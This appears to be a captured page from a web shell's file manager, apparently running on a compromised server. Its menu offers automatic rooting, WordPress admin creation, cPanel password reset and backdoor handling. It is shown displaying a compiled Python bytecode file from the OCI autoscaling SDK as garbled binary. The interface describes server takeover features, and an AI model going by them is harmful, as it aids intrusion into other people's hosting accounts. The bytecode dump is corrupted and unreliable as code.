Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
autoscaling
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: threshold_policy.cpython-39.pyc
a ���f> � @ sD d dl mZ ddlmZmZmZ ddlmZ eG dd� de��ZdS )� )�AutoScalingPolicy� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ sJ e Zd ZdZdd� Zedd� �Zejdd� �Zdd� Zd d � Z dd� Z d S )�ThresholdPolicyzd An autoscaling policy that defines threshold-based rules for an autoscaling configuration. c K s` dddddddd�| _ ddd d ddd d�| _d| _d| _d| _d| _d| _d| _d| _d| _dS )a{ Initializes a new ThresholdPolicy object with values from keyword arguments. The default value of the :py:attr:`~oci.autoscaling.models.ThresholdPolicy.policy_type` attribute of this class is ``threshold`` and it should not be changed. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param capacity: The value to assign to the capacity property of this ThresholdPolicy. :type capacity: oci.autoscaling.models.Capacity :param id: The value to assign to the id property of this ThresholdPolicy. :type id: str :param display_name: The value to assign to the display_name property of this ThresholdPolicy. :type display_name: str :param policy_type: The value to assign to the policy_type property of this ThresholdPolicy. :type policy_type: str :param time_created: The value to assign to the time_created property of this ThresholdPolicy. :type time_created: datetime :param is_enabled: The value to assign to the is_enabled property of this ThresholdPolicy. :type is_enabled: bool :param rules: The value to assign to the rules property of this ThresholdPolicy. :type rules: list[oci.autoscaling.models.Condition] ZCapacity�strZdatetime�boolzlist[Condition])�capacity�idZdisplay_nameZpolicy_typeZtime_createdZ is_enabled�rulesr r ZdisplayNameZ policyTypeZtimeCreatedZ isEnabledr NZ threshold) Z swagger_typesZ attribute_mapZ _capacityZ_idZ _display_nameZ_policy_typeZ _time_createdZ_is_enabled�_rules)�self�kwargs� r �K/usr/lib/python3.9/site-packages/oci/autoscaling/models/threshold_policy.py�__init__ s0 $�� zThresholdPolicy.__init__c C s | j S )z� **[Required]** Gets the rules of this ThresholdPolicy. :return: The rules of this ThresholdPolicy. :rtype: list[oci.autoscaling.models.Condition] �r �r r r r r R s zThresholdPolicy.rulesc C s || _ dS )z� Sets the rules of this ThresholdPolicy. :param rules: The rules of this ThresholdPolicy. :type: list[oci.autoscaling.models.Condition] Nr )r r r r r r \ s c C s t | �S �N)r r r r r �__repr__f s zThresholdPolicy.__repr__c C s |d u rdS | j |j kS )NF)�__dict__�r �otherr r r �__eq__i s zThresholdPolicy.__eq__c C s | |k S r r r r r r �__ne__o s zThresholdPolicy.__ne__N)�__name__� __module__�__qualname__�__doc__r �propertyr �setterr r r r r r r r s @ r N) Zauto_scaling_policyr Zoci.utilr r r Zoci.decoratorsr r r r r r �<module> s